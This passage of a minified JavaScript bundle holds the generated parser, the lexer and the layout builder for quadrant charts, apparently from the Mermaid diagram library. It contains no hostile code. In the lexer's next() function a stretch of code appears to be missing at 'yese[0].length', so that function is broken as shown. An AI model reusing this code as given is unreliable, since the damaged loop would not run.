2],[22,1],[22,2],[23,1],[23,3],[24,5],[26,2],[26,2],[26,2],[29,0],[29,2],[30,2],[31,0],[31,1],[31,2],[31,1],[31,1],[31,1],[31,2],[31,2],[31,2],[31,1],[31,1],[34,4],[34,5],[34,5],[34,6],[32,4],[32,3],[32,2],[32,4],[32,3],[32,2],[33,2],[33,2],[33,2],[33,2],[27,1],[27,1],[27,1],[43,1],[43,2],[43,1],[43,1],[62,1],[62,2],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[59,1],[59,1],[59,1]],performAction:o(function(z,se,le,ke,ve,ye,Re){var _e=ye.length-1;switch(ve){case 23:this.$=ye[_e];break;case 24:this.$=ye[_e-1]+""+ye[_e];break;case 26:this.$=ye[_e-1]+ye[_e];break;case 27:this.$=[ye[_e].trim()];break;case 28:ye[_e-2].push(ye[_e].trim()),this.$=ye[_e-2];break;case 29:this.$=ye[_e-4],ke.addClass(ye[_e-2],ye[_e]);break;case 37:this.$=[];break;case 42:this.$=ye[_e].trim(),ke.setDiagramTitle(this.$);break;case 43:this.$=ye[_e].trim(),ke.setAccTitle(this.$);break;case 44:case 45:this.$=ye[_e].trim(),ke.setAccDescription(this.$);break;case 46:ke.addSection(ye[_e].substr(8)),this.$=ye[_e].substr(8);break;case 47:ke.addPoint(ye[_e-3],"",ye[_e-1],ye[_e],[]);break;case 48:ke.addPoint(ye[_e-4],ye[_e-3],ye[_e-1],ye[_e],[]);break;case 49:ke.addPoint(ye[_e-4],"",ye[_e-2],ye[_e-1],ye[_e]);break;case 50:ke.addPoint(ye[_e-5],ye[_e-4],ye[_e-2],ye[_e-1],ye[_e]);break;case 51:ke.setXAxisLeftText(ye[_e-2]),ke.setXAxisRightText(ye[_e]);break;case 52:ye[_e-1].text+=" \u27F6 ",ke.setXAxisLeftText(ye[_e-1]);break;case 53:ke.setXAxisLeftText(ye[_e]);break;case 54:ke.setYAxisBottomText(ye[_e-2]),ke.setYAxisTopText(ye[_e]);break;case 55:ye[_e-1].text+=" \u27F6 ",ke.setYAxisBottomText(ye[_e-1]);break;case 56:ke.setYAxisBottomText(ye[_e]);break;case 57:ke.setQuadrant1Text(ye[_e]);break;case 58:ke.setQuadrant2Text(ye[_e]);break;case 59:ke.setQuadrant3Text(ye[_e]);break;case 60:ke.setQuadrant4Text(ye[_e]);break;case 64:this.$={text:ye[_e],type:"text"};break;case 65:this.$={text:ye[_e-1].text+""+ye[_e],type:ye[_e-1].type};break;case 66:this.$={text:ye[_e],type:"text"};break;case 67:this.$={text:ye[_e],type:"markdown"};break;case 68:this.$=ye[_e];break;case 69:this.$=ye[_e-1]+""+ye[_e];break}},"anonymous"),table:[{18:e,26:1,27:2,28:r,55:n,56:i,57:a},{1:[3]},{18:e,26:8,27:2,28:r,55:n,56:i,57:a},{18:e,26:9,27:2,28:r,55:n,56:i,57:a},t(s,[2,33],{29:10}),t(l,[2,61]),t(l,[2,62]),t(l,[2,63]),{1:[2,30]},{1:[2,31]},t(u,h,{30:11,31:12,24:13,32:15,33:16,34:17,43:30,58:31,1:[2,32],4:f,5:d,10:p,12:m,13:g,14:y,18:v,25:x,35:b,37:T,39:S,41:w,42:k,48:A,50:C,51:R,52:I,53:L,54:E,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),t(s,[2,34]),{27:45,55:n,56:i,57:a},t(u,[2,37]),t(u,h,{24:13,32:15,33:16,34:17,43:30,58:31,31:46,4:f,5:d,10:p,12:m,13:g,14:y,18:v,25:x,35:b,37:T,39:S,41:w,42:k,48:A,50:C,51:R,52:I,53:L,54:E,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),t(u,[2,39]),t(u,[2,40]),t(u,[2,41]),{36:[1,47]},{38:[1,48]},{40:[1,49]},t(u,[2,45]),t(u,[2,46]),{18:[1,50]},{4:f,5:d,10:p,12:m,13:g,14:y,43:51,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:52,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:53,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:54,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:55,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:56,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,44:[1,57],47:[1,58],58:60,59:59,63:O,64:M,65:P,66:B,67:F},t(U,[2,64]),t(U,[2,66]),t(U,[2,67]),t(U,[2,70]),t(U,[2,71]),t(U,[2,72]),t(U,[2,73]),t(U,[2,74]),t(U,[2,75]),t(U,[2,76]),t(U,[2,77]),t(U,[2,78]),t(U,[2,79]),t(U,[2,80]),t(s,[2,35]),t(u,[2,38]),t(u,[2,42]),t(u,[2,43]),t(u,[2,44]),{3:64,4:j,5:te,6:Y,7:oe,8:J,9:ue,10:re,11:ee,12:Z,13:K,14:ae,15:Q,21:63},t(u,[2,53],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,49:[1,77],63:O,64:M,65:P,66:B,67:F}),t(u,[2,56],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,49:[1,78],63:O,64:M,65:P,66:B,67:F}),t(u,[2,57],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,58],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,59],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,60],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),{45:[1,79]},{44:[1,80]},t(U,[2,65]),t(U,[2,81]),t(U,[2,82]),t(U,[2,83]),{3:82,4:j,5:te,6:Y,7:oe,8:J,9:ue,10:re,11:ee,12:Z,13:K,14:ae,15:Q,18:[1,81]},t(de,[2,23]),t(de,[2,1]),t(de,[2,2]),t(de,[2,3]),t(de,[2,4]),t(de,[2,5]),t(de,[2,6]),t(de,[2,7]),t(de,[2,8]),t(de,[2,9]),t(de,[2,10]),t(de,[2,11]),t(de,[2,12]),t(u,[2,52],{58:31,43:83,4:f,5:d,10:p,12:m,13:g,14:y,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),t(u,[2,55],{58:31,43:84,4:f,5:d,10:p,12:m,13:g,14:y,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),{46:[1,85]},{45:[1,86]},{4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,16:89,17:Ye,18:He,19:Le,20:Ie,22:88,23:87},t(de,[2,24]),t(u,[2,51],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,54],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,47],{22:88,16:89,23:100,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie}),{46:[1,101]},t(u,[2,29],{10:Ne}),t(Ce,[2,27],{16:103,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie}),t(Fe,[2,25]),t(Fe,[2,13]),t(Fe,[2,14]),t(Fe,[2,15]),t(Fe,[2,16]),t(Fe,[2,17]),t(Fe,[2,18]),t(Fe,[2,19]),t(Fe,[2,20]),t(Fe,[2,21]),t(Fe,[2,22]),t(u,[2,49],{10:Ne}),t(u,[2,48],{22:88,16:89,23:104,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie}),{4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,16:89,17:Ye,18:He,19:Le,20:Ie,22:105},t(Fe,[2,26]),t(u,[2,50],{10:Ne}),t(Ce,[2,28],{16:103,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie})],defaultActions:{8:[2,30],9:[2,31]},parseError:o(function(z,se){if(se.recoverable)this.trace(z);else{var le=new Error(z);throw le.hash=se,le}},"parseError"),parse:o(function(z){var se=this,le=[0],ke=[],ve=[null],ye=[],Re=this.table,_e="",ze=0,Ke=0,xt=0,We=2,Oe=1,et=ye.slice.call(arguments,1),Ue=Object.create(this.lexer),lt={yy:{}};for(var Gt in this.yy)Object.prototype.hasOwnProperty.call(this.yy,Gt)&&(lt.yy[Gt]=this.yy[Gt]);Ue.setInput(z,lt.yy),lt.yy.lexer=Ue,lt.yy.parser=this,typeof Ue.yylloc>"u"&&(Ue.yylloc={});var vt=Ue.yylloc;ye.push(vt);var Lt=Ue.options&&Ue.options.ranges;typeof lt.yy.parseError=="function"?this.parseError=lt.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function dt(Se){le.length=le.length-2*Se,ve.length=ve.length-Se,ye.length=ye.length-Se}o(dt,"popStack");function nt(){var Se;return Se=ke.pop()||Ue.lex()||Oe,typeof Se!="number"&&(Se instanceof Array&&(ke=Se,Se=ke.pop()),Se=se.symbols_[Se]||Se),Se}o(nt,"lex");for(var bt,wt,yt,ft,Ur,_t,bn={},Br,cr,ar,_r;;){if(yt=le[le.length-1],this.defaultActions[yt]?ft=this.defaultActions[yt]:((bt===null||typeof bt>"u")&&(bt=nt()),ft=Re[yt]&&Re[yt][bt]),typeof ft>"u"||!ft.length||!ft[0]){var Ct="";_r=[];for(Br in Re[yt])this.terminals_[Br]&&Br>We&&_r.push("'"+this.terminals_[Br]+"'");Ue.showPosition?Ct="Parse error on line "+(ze+1)+`: +`+Ue.showPosition()+` +Expecting `+_r.join(", ")+", got '"+(this.terminals_[bt]||bt)+"'":Ct="Parse error on line "+(ze+1)+": Unexpected "+(bt==Oe?"end of input":"'"+(this.terminals_[bt]||bt)+"'"),this.parseError(Ct,{text:Ue.match,token:this.terminals_[bt]||bt,line:Ue.yylineno,loc:vt,expected:_r})}if(ft[0]instanceof Array&&ft.length>1)throw new Error("Parse Error: multiple actions possible at state: "+yt+", token: "+bt);switch(ft[0]){case 1:le.push(bt),ve.push(Ue.yytext),ye.push(Ue.yylloc),le.push(ft[1]),bt=null,wt?(bt=wt,wt=null):(Ke=Ue.yyleng,_e=Ue.yytext,ze=Ue.yylineno,vt=Ue.yylloc,xt>0&&xt--);break;case 2:if(cr=this.productions_[ft[1]][1],bn.$=ve[ve.length-cr],bn._$={first_line:ye[ye.length-(cr||1)].first_line,last_line:ye[ye.length-1].last_line,first_column:ye[ye.length-(cr||1)].first_column,last_column:ye[ye.length-1].last_column},Lt&&(bn._$.range=[ye[ye.length-(cr||1)].range[0],ye[ye.length-1].range[1]]),_t=this.performAction.apply(bn,[_e,Ke,ze,lt.yy,ft[1],ve,ye].concat(et)),typeof _t<"u")return _t;cr&&(le=le.slice(0,-1*cr*2),ve=ve.slice(0,-1*cr),ye=ye.slice(0,-1*cr)),le.push(this.productions_[ft[1]][0]),ve.push(bn.$),ye.push(bn._$),ar=Re[le[le.length-2]][le[le.length-1]],le.push(ar);break;case 3:return!0}}return!0},"parse")},xe=(function(){var he={EOF:1,parseError:o(function(se,le){if(this.yy.parser)this.yy.parser.parseError(se,le);else throw new Error(se)},"parseError"),setInput:o(function(z,se){return this.yy=se||this.yy||{},this._input=z,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var z=this._input[0];this.yytext+=z,this.yyleng++,this.offset++,this.match+=z,this.matched+=z;var se=z.match(/(?:\r\n?|\n).*/g);return se?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),z},"input"),unput:o(function(z){var se=z.length,le=z.split(/(?:\r\n?|\n)/g);this._input=z+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-se),this.offset-=se;var ke=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),le.length-1&&(this.yylineno-=le.length-1);var ve=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:le?(le.length===ke.length?this.yylloc.first_column:0)+ke[ke.length-le.length].length-le[0].length:this.yylloc.first_column-se},this.options.ranges&&(this.yylloc.range=[ve[0],ve[0]+this.yyleng-se]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(z){this.unput(this.match.slice(z))},"less"),pastInput:o(function(){var z=this.matched.substr(0,this.matched.length-this.match.length);return(z.length>20?"...":"")+z.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var z=this.match;return z.length<20&&(z+=this._input.substr(0,20-z.length)),(z.substr(0,20)+(z.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var z=this.pastInput(),se=new Array(z.length+1).join("-");return z+this.upcomingInput()+` +`+se+"^"},"showPosition"),test_match:o(function(z,se){var le,ke,ve;if(this.options.backtrack_lexer&&(ve={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(ve.yylloc.range=this.yylloc.range.slice(0))),ke=z[0].match(/(?:\r\n?|\n).*/g),ke&&(this.yylineno+=ke.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:ke?ke[ke.length-1].length-ke[ke.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+z[0].length},this.yytext+=z[0],this.match+=z[0],this.matches=z,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(z[0].length),this.matched+=z[0],le=this.performAction.call(this,this.yy,this,se,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),le)return le;if(this._backtrack){for(var ye in ve)this[ye]=ve[ye];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var z,se,le,ke;this._more||(this.yytext="",this.match="");for(var ve=this._currentRules(),ye=0;yese[0].length)){if(se=le,ke=ye,this.options.backtrack_lexer){if(z=this.test_match(le,ve[ye]),z!==!1)return z;if(this._backtrack){se=!1;continue}else return!1}else if(!this.options.flex)break}return se?(z=this.test_match(se,ve[ke]),z!==!1?z:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var se=this.next();return se||this.lex()},"lex"),begin:o(function(se){this.conditionStack.push(se)},"begin"),popState:o(function(){var se=this.conditionStack.length-1;return se>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(se){return se=this.conditionStack.length-1-Math.abs(se||0),se>=0?this.conditionStack[se]:"INITIAL"},"topState"),pushState:o(function(se){this.begin(se)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(se,le,ke,ve){var ye=ve;switch(ke){case 0:break;case 1:break;case 2:return 55;case 3:break;case 4:return this.begin("title"),35;break;case 5:return this.popState(),"title_value";break;case 6:return this.begin("acc_title"),37;break;case 7:return this.popState(),"acc_title_value";break;case 8:return this.begin("acc_descr"),39;break;case 9:return this.popState(),"acc_descr_value";break;case 10:this.begin("acc_descr_multiline");break;case 11:this.popState();break;case 12:return"acc_descr_multiline_value";case 13:return 48;case 14:return 50;case 15:return 49;case 16:return 51;case 17:return 52;case 18:return 53;case 19:return 54;case 20:return 25;case 21:this.begin("md_string");break;case 22:return"MD_STR";case 23:this.popState();break;case 24:this.begin("string");break;case 25:this.popState();break;case 26:return"STR";case 27:this.begin("class_name");break;case 28:return this.popState(),47;break;case 29:return this.begin("point_start"),44;break;case 30:return this.begin("point_x"),45;break;case 31:this.popState();break;case 32:this.popState(),this.begin("point_y");break;case 33:return this.popState(),46;break;case 34:return 28;case 35:return 4;case 36:return 11;case 37:return 64;case 38:return 10;case 39:return 65;case 40:return 65;case 41:return 14;case 42:return 13;case 43:return 67;case 44:return 66;case 45:return 12;case 46:return 8;case 47:return 5;case 48:return 18;case 49:return 56;case 50:return 63;case 51:return 57}},"anonymous"),rules:[/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n\r]+)/i,/^(?:%%[^\n]*)/i,/^(?:title\b)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?: *x-axis *)/i,/^(?: *y-axis *)/i,/^(?: *--+> *)/i,/^(?: *quadrant-1 *)/i,/^(?: *quadrant-2 *)/i,/^(?: *quadrant-3 *)/i,/^(?: *quadrant-4 *)/i,/^(?:classDef\b)/i,/^(?:["][`])/i,/^(?:[^`"]+)/i,/^(?:[`]["])/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?::::)/i,/^(?:^\w+)/i,/^(?:\s*:\s*\[\s*)/i,/^(?:(1)|(0(.\d+)?))/i,/^(?:\s*\] *)/i,/^(?:\s*,\s*)/i,/^(?:(1)|(0(.\d+)?))/i,/^(?: *quadrantChart *)/i,/^(?:[A-Za-z]+)/i,/^(?::)/i,/^(?:\+)/i,/^(?:,)/i,/^(?:=)/i,/^(?:=)/i,/^(?:\*)/i,/^(?:#)/i,/^(?:[\_])/i,/^(?:\.)/i,/^(?:&)/i,/^(?:-)/i,/^(?:[0-9]+)/i,/^(?:\s)/i,/^(?:;)/i,/^(?:[!"#$%&'*+,-.`?\\_/])/i,/^(?:$)/i],conditions:{class_name:{rules:[28],inclusive:!1},point_y:{rules:[33],inclusive:!1},point_x:{rules:[32],inclusive:!1},point_start:{rules:[30,31],inclusive:!1},acc_descr_multiline:{rules:[11,12],inclusive:!1},acc_descr:{rules:[9],inclusive:!1},acc_title:{rules:[7],inclusive:!1},title:{rules:[5],inclusive:!1},md_string:{rules:[22,23],inclusive:!1},string:{rules:[25,26],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,6,8,10,13,14,15,16,17,18,19,20,21,24,27,29,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],inclusive:!0}}};return he})();fe.lexer=xe;function W(){this.yy={}}return o(W,"Parser"),W.prototype=fe,fe.Parser=W,new W})();FF.parser=FF;O1e=FF});var Ts,V6,B1e=N(()=>{"use strict";yr();La();pt();Oy();Ts=mh(),V6=class{constructor(){this.classes=new Map;this.config=this.getDefaultConfig(),this.themeConfig=this.getDefaultThemeConfig(),this.data=this.getDefaultData()}static{o(this,"QuadrantBuilder")}getDefaultData(){return{titleText:"",quadrant1Text:"",quadrant2Text:"",quadrant3Text:"",quadrant4Text:"",xAxisLeftText:"",xAxisRightText:"",yAxisBottomText:"",yAxisTopText:"",points:[]}}getDefaultConfig(){return{showXAxis:!0,showYAxis:!0,showTitle:!0,chartHeight:ur.quadrantChart?.chartWidth||500,chartWidth:ur.quadrantChart?.chartHeight||500,titlePadding:ur.quadrantChart?.titlePadding||10,titleFontSize:ur.quadrantChart?.titleFontSize||20,quadrantPadding:ur.quadrantChart?.quadrantPadding||5,xAxisLabelPadding:ur.quadrantChart?.xAxisLabelPadding||5,yAxisLabelPadding:ur.quadrantChart?.yAxisLabelPadding||5,xAxisLabelFontSize:ur.quadrantChart?.xAxisLabelFontSize||16,yAxisLabelFontSize:ur.quadrantChart?.yAxisLabelFontSize||16,quadrantLabelFontSize:ur.quadrantChart?.quadrantLabelFontSize||16,quadrantTextTopPadding:ur.quadrantChart?.quadrantTextTopPadding||5,pointTextPadding:ur.quadrantChart?.pointTextPadding||5,pointLabelFontSize:ur.quadrantChart?.pointLabelFontSize||12,pointRadius:ur.quadrantChart?.pointRadius||5,xAxisPosition:ur.quadrantChart?.xAxisPosition||"top",yAxisPosition:ur.quadrantChart?.yAxisPosition||"left",quadrantInternalBorderStrokeWidth:ur.quadrantChart?.quadrantInternalBorderStrokeWidth||1,quadrantExternalBorderStrokeWidth:ur.quadrantChart?.quadrantExternalBorderStrokeWidth||2}}getDefaultThemeConfig(){return{quadrant1Fill:Ts.quadrant1Fill,quadrant2Fill:Ts.quadrant2Fill,quadrant3Fill:Ts.quadrant3Fill,quadrant4Fill:Ts.quadrant4Fill,quadrant1TextFill:Ts.quadrant1TextFill,quadrant2TextFill:Ts.quadrant2TextFill,quadrant3TextFill:Ts.quadrant3TextFill,quadrant4TextFill:Ts.quadrant4TextFill,quadrantPointFill:Ts.quadrantPointFill,quadrantPointTextFill:Ts.quadrantPointTextFill,quadrantXAxisTextFill:Ts.quadrantXAxisTextFill,quadrantYAxisTextFill:Ts.quadrantYAxisTextFill,quadrantTitleFill:Ts.quadrantTitleFill,quadrantInternalBorderStrokeFill:Ts.quadrantInternalBorderStrokeFill,quadrantExternalBorderStrokeFill:Ts.quadrantExternalBorderStrokeFill}}clear(){this.config=this.getDefaultConfig(),this.themeConfig=this.getDefaultThemeConfig(),this.data=this.getDefaultData(),this.classes=new Map,X.info("clear called")}setData(e){this.data={...this.data,...e}}addPoints(e){this.data.points=[...e,...this.data.points]}addClass(e,r){this.classes.set(e,r)}setConfig(e){X.trace("setConfig called with: ",e),this.config={...this.config,...e}}setThemeConfig(e){X.trace("setThemeConfig called with: ",e),this.themeConfig={...this.themeConfig,...e}}calculateSpace(e,r,n,i){let a=this.config.xAxisLabelPadding*2+this.config.xAxisLabelFontSize,s={top:e==="top"&&r?a:0,bottom:e==="bottom"&&r?a:0},l=this.config.yAxisLabelPadding*2+this.config.yAxisLabelFontSize,u={left:this.config.yAxisPosition==="left"&&n?l:0,right:this.config.yAxisPosition==="right"&&n?l:0},h=this.config.titleFontSize+this.config.titlePadding*2,f={top:i?h:0},d=this.config.quadrantPadding+u.left,p=this.config.quadrantPadding+s.top+f.top,m=this.config.chartWidth-this.config.quadrantPadding*2-u.left-u.right,g=this.config.chartHeight-this.config.quadrantPadding*2-s.top-s.bottom-f.top,y=m/2,v=g/2;return{xAxisSpace:s,yAxisSpace:u,titleSpace:f,quadrantSpace:{quadrantLeft:d,quadrantTop:p,quadrantWidth:m,quadrantHalfWidth:y,quadrantHeight:g,quadrantHalfHeight:v}}}getAxisLabels(e,r,n,i){let{quadrantSpace:a,titleSpace:s}=i,{quadrantHalfHeight:l,quadrantHeight:u,quadrantLeft:h,quadrantHalfWidth:f,quadrantTop:d,quadrantWidth:p}=a,m=!!this.data.xAxisRightText,g=!!this.data.yAxisTopText,y=[];return this.data.xAxisLeftText&&r&&y.push({text:this.data.xAxisLeftText,fill:this.themeConfig.quadrantXAxisTextFill,x:h+(m?f/2:0),y:e==="top"?this.config.xAxisLabelPadding+s.top:this.config.xAxisLabelPadding+d+u+this.config.quadrantPadding,fontSize:this.config.xAxisLabelFontSize,verticalPos:m?"center":"left",horizontalPos:"top",rotation:0}),this.data.xAxisRightText&&r&&y.push({text:this.data.xAxisRightText,fill:this.themeConfig.quadrantXAxisTextFill,x:h+f+(m?f/2:0),y:e==="top"?this.config.xAxisLabelPadding+s.top:this.config.xAxisLabelPadding+d+u+this.config.quadrantPadding,fontSize:this.config.xAxisLabelFontSize,verticalPos:m?"center":"left",horizontalPos:"top",rotation:0}),this.data.yAxisBottomText&&n&&y.push({text:this.data.yAxisBottomText,fill:this.themeConfig.quadrantYAxisTextFill,x:this.config.yAxisPosition==="left"?this.config.yAxisLabelPadding:this.config.yAxisLabelPadding+h+p+this.config.quadrantPadding,y:d+u-(g?l/2:0),fontSize:this.config.yAxisLabelFontSize,verticalPos:g?"center":"left",horizontalPos:"top",rotation:-90}),this.data.yAxisTopText&&n&&y.push({text:this.data.yAxisTopText,fill:this.themeConfig.quadrantYAxisTextFill,x:this.config.yAxisPosition==="left"?this.config.yAxisLabelPadding:this.config.yAxisLabelPadding+h+p+this.config.quadrantPadding,y:d+l-(g?l/2:0),fontSize:this.config.yAxisLabelFontSize,verticalPos:g?"center":"left",horizontalPos:"top",rotation:-90}),y}getQuadrants(e){let{quadrantSpace:r}=e,{quadrantHalfHeight:n,quadrantLeft:i,quadrantHalfWidth:a,quadrantTop:s}=r,l=[{text:{text:this.data.quadrant1Text,fill:this.themeConfig.quadrant1TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i+a,y:s,width:a,height:n,fill:this.themeConfig.quadrant1Fill},{text:{text:this.data.quadrant2Text,fill:this.themeConfig.quadrant2TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i,y:s,width:a,height:n,fill:this.themeConfig.quadrant2Fill},{text:{text:this.data.quadrant3Text,fill:this.themeConfig.quadrant3TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i,y:s+n,width:a,height:n,fill:this.themeConfig.quadrant3Fill},{text:{text:this.data.quadrant4Text,fill:this.themeConfig.quadrant4TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i+a,y:s+n,width:a,height:n,fill:this.themeConfig.quadrant4Fill}];for(let u of l)u.text.x=u.x+u.width/2,this.data.points.length===0?(u.text.y=u.y+u.height/2,u.text.horizontalPos="middle"):(u.text.y=u.y+this.config.quadrantTextTopPadding,u.text.horizontalPos="top");return l}getQuadrantPoints(e){let{quadrantSpace:r}=e,{quadrantHeight:n,quadrantLeft:i,quadrantTop:a,quadrantWidth:s}=r,l=Tl().domain([0,1]).range([i,s+i]),u=Tl().domain([0,1]).range([n+a,a]);return this.data.points.map(f=>{let d=this.classes.get(f.className);return d&&(f={...d,...f}),{x:l(f.x),y:u(f.y),fill:f.color??this.themeConfig.quadrantPointFill,radius:f.radius??this.config.pointRadius,text:{text:f.text,fill:this.themeConfig.quadrantPointTextFill,x:l(f.x),y:u(f.y)+this.config.pointTextPadding,verticalPos:"center",horizontalPos:"top",fontSize:this.config.pointLabelFontSize,rotation:0},strokeColor:f.strokeColor??this.themeConfig.quadrantPointFill,strokeWidth:f.strokeWidth??"0px"}})}getBorders(e){let r=this.config.quadrantExternalBorderStrokeWidth/2,{quadrantSpace:n}=e,{quadrantHalfHeight:i,quadrantHeight:a,quadrantLeft:s,quadrantHalfWidth:l,quadrantTop:u,quadrantWidth:h}=n;return[{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s-r,y1:u,x2:s+h+r,y2:u},{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s+h,y1:u+r,x2:s+h,y2:u+a-r},{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s-r,y1:u+a,x2:s+h+r,y2:u+a},{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s,y1:u+r,x2:s,y2:u+a-r},{strokeFill:this.themeConfig.quadrantInternalBorderStrokeFill,strokeWidth:this.config.quadrantInternalBorderStrokeWidth,x1:s+l,y1:u+r,x2:s+l,y2:u+a-r},{strokeFill:this.themeConfig.quadrantInternalBorderStrokeFill,strokeWidth:this.config.quadrantInternalBorderStrokeWidth,x1:s+r,y1:u+i,x2:s+h-r,y2:u+i}]}getTitle(e){if(e)return{text:this.data.titleText,fill:this.themeConfig.quadrantTitleFill,fontSize:this.config.titleFontSize,horizontalPos:"top",verticalPos:"center",rotation:0,y:this.config.titlePadding,x:this.config.chartWidth/2}}build(){let 